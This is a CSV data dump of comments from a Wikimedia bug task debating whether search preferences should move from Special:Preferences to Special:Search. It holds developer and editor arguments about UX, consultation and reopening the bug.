+**Attached**: {F11964}",,,1402261771,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+257416,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #52)
+> My complaint has ""never"" been about any checkbox, but the removal of
+> Preferences.
+
+Are you able to offer another tab of Special:Preferences and other 35 checkboxes (in the case of en.wiki) to sacrifice instead?
+Preferences have been in a process of cutting for some time now and there are some rather extreme proposals around where your time would perhaps be better spent: https://www.mediawiki.org/wiki/Requests_for_comment/Redesign_user_preferences
+
+The path I'm following is the one of least resistance for the biggest result, you'll see that I'm reducing your future pain. :)",,,1402261544,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+257413,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","My complaint has ""never"" been about any checkbox, but the removal of Preferences.",,,1402252214,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+257410,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",So much drama about a single checkbox… get me out of here.,,,1402251490,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+257404,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","No, I won't sit down, shut up and enjoy the ride.
+
+Really, most other places require consensus and consultation for change. I believe that Erik himself said that in edits relating to Flow. Something along the lines of 
+
+<quote>... We do strive to communicate, solve problems real users have, and resolve conflicts, especially if there are major points of contention. What are the material issues with the deploy at this time?</quote>
+
+So you have
+* major points of contention
+* no evidence that this fix actually a major point of contention
+* communication in a newsletter that points here, but you are not prepared to listen or discuss
+* no attempt to resolve a conflict
+* a merged change that is predicted to take place where no consultation has taken place
+* an opportunity to address matters raised prior to a deployment
+
+Have I missed something from that little list?
+
+Seems more than a technical fix. It appears to be a change planned to be implemented and you are not allowing broader discussion, or the base challenge to your assumptions. The points have been raised, and yet you forge ahead with your decision without an attempt at consensus, or some conciliation. And the history of bugs is that they are discussed in situ, not fobbed off somewhere else where you can ignore them in all their glory.
+
+I would think that it would actually be incumbent on you, those bringing the change forward to mediawiki, to propose and discuss that merged change. But no, instead we hide behind the ""technical"" barrier. Then expect others to go somewhere and complain ""I don't like it."" Grow up. The mature adult thing is for me to bring concerns here, to have them reasonably listened to, and to see if we can have a compromise. Seems that the mature approach is not suitable.
+
+If you want that change, you take it out and propose it and defend it. You have identified where it should be discussed, so I look forward to seeing it there. That is basically what I said at the beginning.
+
+If I don't see it there, then I feel that I am justified in reopening this bug until there is what I consider some reasonable conversation about this bug, and means to explore the matters raised.",,,1402251279,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+257398,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #48)
+
+This bug is technically fixed: Advanced options preferences are now handled on Special:Search itself, which is the topic of this bug, so please stop reopening it. Also, a ""resolved"" status doesn't prevent you from commenting. If you detect flaws on the implementation, feel free to open a *new* bug describing the problems of this implementation (see [1]).
+
+I'd suggest you to raise your concerns in a mailing list (mediawiki-l seems to be the the best one for your concerns) [2]. Your message will be received by more people that can share their point of view about this, while your messages on this bug report are being received by the same developers that were involved in it. Feel free to put here a link to the discussion on the mailing list if you decide to start a discussion there.
+
+----
+
+[1] https://www.mediawiki.org/wiki/How_to_report_a_bug
+[2] https://www.mediawiki.org/wiki/Mailing_lists",,,1402249236,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+257391,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I am sorry, that is a typical dismissive response, and pretty unhelpful.  I don't see the issues raised addresses by the bugzilla.
+
+BTW no one made you the decision maker, and as it is your code I would think a little less CoI, and some more communication would be preferable.",,,1402245055,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+257384,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Quiddity from comment #40)
+> I think the problem with the new version, is the physical distance, or
+> dis-connection, of the checkbox from the search button... 
+
+Split to bug 66342.
+
+(In reply to billinghurst from comment #46)
+> I am wondering whether the proponents of the change have had the ability to
+> review suggestions
+
+Yes.",,,1402240628,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+257379,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I am wondering whether the proponents of the change have had the ability to review suggestions made by people who are not in favour of the holistic change and may be able to suggest a compromise position.
+
+I have reopened this bug as I do not think that it should be considered fixed in light of this extra opinion.",,,1402239071,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+257374,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+(In reply to MZMcBride from comment #43)
+
+> My gut feeling is that the real, underlying issue here is that you, me, and
+> others want global (wikifarm-wide) user preferences. 
+
+Speaking only for myself, I usually modify my search based on my involvement with the specific wiki. My search on a project I'm involved with and editing regularly usually needs the project and often the user namespaces. Ones I'm only occasionally editing need help and project namespaces. The defaults work fine on projects where I'm only a reader. It is a workflow issue.",,,1401810675,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+257369,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+> It was 50/50 that you were going to say that. The other option was ""if it ain't > broke don't fix it"". Both are useless clichés. 
+
+Mmm, actually the third option was ""change for the sake of change"". They are clichés because they are common, valid issues. And you have not addressed the substance of the comment.
+
+I would suggest your response - highly defensive and dismissive - is itself a cliché of ""Dev knows best"", except I also know the reason it's a cliché is because it's often true. I'm with Quiddity, Isarra, and sDrewth: let's figure out a both-and solution, because it does not need to be either-or.",,,1401808846,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+257364,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #37)
+> Nobody has argued about sensible defaults, nor the ability for communities
+> to be able to adjust and modify. I don't see how that introduction is
+> relevant.
+
+Amgine asked, ""Do we really want every special page to be creating and maintaining its own interface for user preferences?"" I was responding by noting that the goal is having a clean, easy-to-use user interface that uses sensible defaults. The goal is not a foolish consistency.
+
+> In fact if you follow that logic, we are now cluttering up a search page
+> with an option that is going to be used rarely or not at all, and maybe by a
+> small subset of people ...  Making visible an option that is probably used
+> zero times by most user, and maybe once or two by a small number of users.
+> That is perverse.
+
+Well, not quite. :-)  Rather than having this feature (the ability to customize search preferences) take up an entire Special:Preferences tab, it's now confined to a single checkbox. This seems proportionate and reasonable to me. If the feature were more important, it might make sense to give it more prominence, but I (personally) don't think it's very important.
+
+> I have no specific issue with an improvement or option at Special:Search, my
+> issue is that Preferences = Preferences and I expect to be able to go there
+> and to be able to set my preferences for search.
+
+My gut feeling is that the real, underlying issue here is that you, me, and others want global (wikifarm-wide) user preferences. In a similar vein to what I wrote in comment 35, as a user, if you're visiting Special:Preferences often, we're doing something wrong. You should only need to visit that page maybe once a year, but it sounds as though you and a few others visit it weekly or daily. (Which is not a criticism of power-users, to be clear, just a workflow observation.) I think we should focus on figuring out how to make it so that (power-)users don't need to visit Special:Preferences on every wiki in a wikifarm.",,,1401800527,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+257360,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Quiddity from bug 52817 comment #40)
+> Searching for help documentation is HELL unless we add the Wikipedia: ,
+> Help: , and Template: namespaces to our default search. For the first few
+> years as a new editor, I was constantly searching those namespaces for tools
+> and guides. (Note that the Template: and Category: namespaces aren't
+> included in the ""Help and Project pages"" output)
+
+I guess this is an answer to:
+
+(In reply to MZMcBride from bug 52817 comment #35)
+> If many users are customizing their search settings, we're doing something
+> wrong.
+
+Split to bug 66066.",,,1401788398,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+257356,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Quiddity from comment #40)
+> I'm surprised that we don't already have a link to
+> [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at
+> [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so
+> long?!  Forest, trees.
+
+That's a very good point, and I've just made it happen on en.wp.",,,1401787806,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+568775,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I fall right in the middle of this disagreement. Here's some notes, and an idea.
+
+There are good reasons to have the search-option-preferences in both locations (eg. easier-discoverability for newcomers, familiarity for oldtimers), 
+and there are good reasons to centralize/unduplicate at a single location (with Special:Search->Advanced being the reasonable contender because the options-list *has* to appear there).
+
+We do need easy-discoverability for newcomers. 
+Searching for help documentation is HELL unless we add the Wikipedia: , Help: , and Template: namespaces to our default search. For the first few years as a new editor, I was constantly searching those namespaces for tools and guides. (Note that the Template: and Category: namespaces aren't included in the ""Help and Project pages"" output)
+
+I'm surprised that we don't already have a link to [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so long?!  Forest, trees.
+
+I do also prefer the simple process for ""Save"" at Special:Preferences. It's not perfect (see {T57966}), but it's fairly intuitive. 
+The new system isn't intuitive. (It makes sense once explained, but an explanation is needed...)
+I think the problem with the new version, is the physical distance, or dis-connection, of the checkbox from the search button... 
+
+
+So, 2 fuzzy/rough suggestions:
+
+A) Add a new Blue ""Save selection as my default, and Search"" button, at the advanced-search tab, instead of the new ""Remember selection for future searches"" checkbox line. 
+
+B) leave the ""Search"" tab at Special:Preferences, but 
+B.1) just link to Special:Search->Advanced from within it.   
+B.2) Or, when clicked, have it open Special:Search->Advanced in a new tab/window.   (New tab, because the user might have other unsaved preference-changes, so we can't change the current page. (cf. {T57966}))  
+Either of these would solve the issues of discoverability and change-aversion.  Yes, it'll still leave an annoyingly almost-empty tab, but it's *way* better than the current/old layout, ie. comment #0
+
+--
+
+All 4 links, for your quick comparison:
+https://en.wikipedia.org/wiki/Special:Preferences#mw-prefsection-searchoptions
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced
+http://en.wikipedia.beta.wmflabs.org/wiki/Special:Preferences
+http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced",,,1448489786,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,125,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+257352,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I fall right in the middle of this disagreement. Here's some notes, and an idea.
+
+There are good reasons to have the search-option-preferences in both locations (eg. easier-discoverability for newcomers, familiarity for oldtimers), 
+and there are good reasons to centralize/unduplicate at a single location (with Special:Search->Advanced being the reasonable contender because the options-list *has* to appear there).
+
+We do need easy-discoverability for newcomers. 
+Searching for help documentation is HELL unless we add the Wikipedia: , Help: , and Template: namespaces to our default search. For the first few years as a new editor, I was constantly searching those namespaces for tools and guides. (Note that the Template: and Category: namespaces aren't included in the ""Help and Project pages"" output)
+
+I'm surprised that we don't already have a link to [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so long?!  Forest, trees.
+
+I do also prefer the simple process for ""Save"" at Special:Preferences. It's not perfect (see bug 55966), but it's fairly intuitive. 
+The new system isn't intuitive. (It makes sense once explained, but an explanation is needed...)
+I think the problem with the new version, is the physical distance, or dis-connection, of the checkbox from the search button... 
+
+
+So, 2 fuzzy/rough suggestions:
+
+A) Add a new Blue ""Save selection as my default, and Search"" button, at the advanced-search tab, instead of the new ""Remember selection for future searches"" checkbox line. 
+
+B) leave the ""Search"" tab at Special:Preferences, but 
+B.1) just link to Special:Search->Advanced from within it.   
+B.2) Or, when clicked, have it open Special:Search->Advanced in a new tab/window.   (New tab, because the user might have other unsaved preference-changes, so we can't change the current page. (cf. bug 55966))  
+Either of these would solve the issues of discoverability and change-aversion.  Yes, it'll still leave an annoyingly almost-empty tab, but it's *way* better than the current/old layout, ie. comment #0
+
+--
+
+All 4 links, for your quick comparison:
+https://en.wikipedia.org/wiki/Special:Preferences#mw-prefsection-searchoptions
+https://en.wikipedia.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced
+http://en.wikipedia.beta.wmflabs.org/wiki/Special:Preferences
+http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced",,,1401786703,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+257345,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Amgine from comment #36)
+> This sounds so much like a solution looking for a problem.
+
+It was 50/50 that you were going to say that. The other option was ""if it ain't broke don't fix it"". Both are useless clichés. 
+
+Your comments are dripping with ""me, me, me"" privilege-based assumptions. Luckily, MediaWiki development is not based around avoiding advanced users having to have the minor inconvenience of learning a small interface change.",,,1401783456,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+257340,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #37)
+> my
+> issue is that Preferences = Preferences
+
+Too bad this assumption is incorrect. We have plenty of preferences which have never been controlled by Special:Preferences, look https://www.mediawiki.org/w/api.php?action=query&meta=userinfo&uiprop=options&format=jsonfm again.
+Not to speak of all the preferences which are not even stored in the database, but instead on cookies or URL parameters (hence bookmarks at best).",,,1401778605,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+257336,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to MZMcBride from comment #35)
+> (In reply to Amgine from comment #21)
+> > Sucks as UX. Do we really want every special page to be creating and
+> > maintaining its own interface for user preferences?
+> 
+> We want sensible defaults and intuitive, easy-to-use interfaces. For most
+> users, there shouldn't be a need to customize the default search settings.
+> If many users are customizing their search settings, we're doing something
+> wrong. For the few users who want to customize their search preferences,
+> there's now a checkbox in the same place as search. This seems like a good
+> thing to me.
+
+Nobody has argued about sensible defaults, nor the ability for communities to be able to adjust and modify. I don't see how that introduction is relevant.
+ 
+> Because there's now an additional checkbox that controls per-user search
+> preferences, we can de-duplicate the listing at Special:Preferences, which
+> makes for a cleaner user preferences interface (increased signal, decreased
+> noise). This also seems like a good thing to me.
+
+In fact if you follow that logic, we are now cluttering up a search page with an option that is going to be used rarely or not at all, and maybe by a small subset of people ...  Making visible an option that is probably used zero times by most user, and maybe once or two by a small number of users. That is perverse.
+
+> Perhaps a pointer from Special:Preferences to Special:Search would be
+> helpful, but I'm not sure it's needed and I'm not sure where it would
+> appropriately go.
+
+Or it could be '''at''' the search page that it says something the lines of ""Save this criteria to be your default"" and have a link to Special:Preferences.
+
+I have no specific issue with an improvement or option at Special:Search, my issue is that Preferences = Preferences and I expect to be able to go there and to be able to set my preferences for search.",,,1401778330,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+257330,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+Would those 'few users' happen to be the experienced wikimedians (like those who have piped up here)? the ones who know (well, knew) where to modify their user preferences?
+
+This sounds so much like a solution looking for a problem.",,,1401772870,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+257326,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Amgine from comment #21)
+> Sucks as UX. Do we really want every special page to be creating and
+> maintaining its own interface for user preferences?
+
+We want sensible defaults and intuitive, easy-to-use interfaces. For most users, there shouldn't be a need to customize the default search settings. If many users are customizing their search settings, we're doing something wrong. For the few users who want to customize their search preferences, there's now a checkbox in the same place as search. This seems like a good thing to me.
+
+Because there's now an additional checkbox that controls per-user search preferences, we can de-duplicate the listing at Special:Preferences, which makes for a cleaner user preferences interface (increased signal, decreased noise). This also seems like a good thing to me.
+
+Perhaps a pointer from Special:Preferences to Special:Search would be helpful, but I'm not sure it's needed and I'm not sure where it would appropriately go.",,,1401766548,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+257320,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+Ah, but then how simple it is to alter the settings is also out of scope.
+
+My opinion is the people most familiar with the software are those most likely to wish to modify their search preferences. For those users, their user preferences are the most-likely first place to look to alter their user preferences. That would meet most 'least surprise' requirements. Being able to alter the search prefs elsewhere, as Isarra says, would be very cool. Being unable to set the search prefs via the least surprising interface would, in my opinion, not be cool.",,,1401732710,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0
+257315,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",How well those features work is a valid question but it's out of scope for this discussion.,,,1401732312,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+257311,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+(In reply to Scott Martin from comment #31)
+> (In reply to Scott Martin from comment #28)
+> > To get to Special:Search you click the magnifying glass
+> > icon in the search box.
+> 
+> Or search for nothing. Sorry for two posts in rapid succession, remembered
+> that a moment too late. (And also had the thought that maybe the magnifying
+> glass thing is a skin-specific feature.)
+
+Cool! and of course you have evidence that people just do this, intuitively.",,,1401731393,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+257305,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Scott Martin from comment #28)
+> To get to Special:Search you click the magnifying glass
+> icon in the search box.
+
+Or search for nothing. Sorry for two posts in rapid succession, remembered that a moment too late. (And also had the thought that maybe the magnifying glass thing is a skin-specific feature.)",,,1401727475,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+257299,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Nemo from comment #29)
+> (In reply to Isarra from comment #27)
+> > Ideally we'd have some way to automatically dump settings that appear in the
+> > interface elsewhere into main preferences just by telling it 'OY LOOK A
+> > SETTING'.
+> 
+> That's exactly what we did.
+> 
+> > 
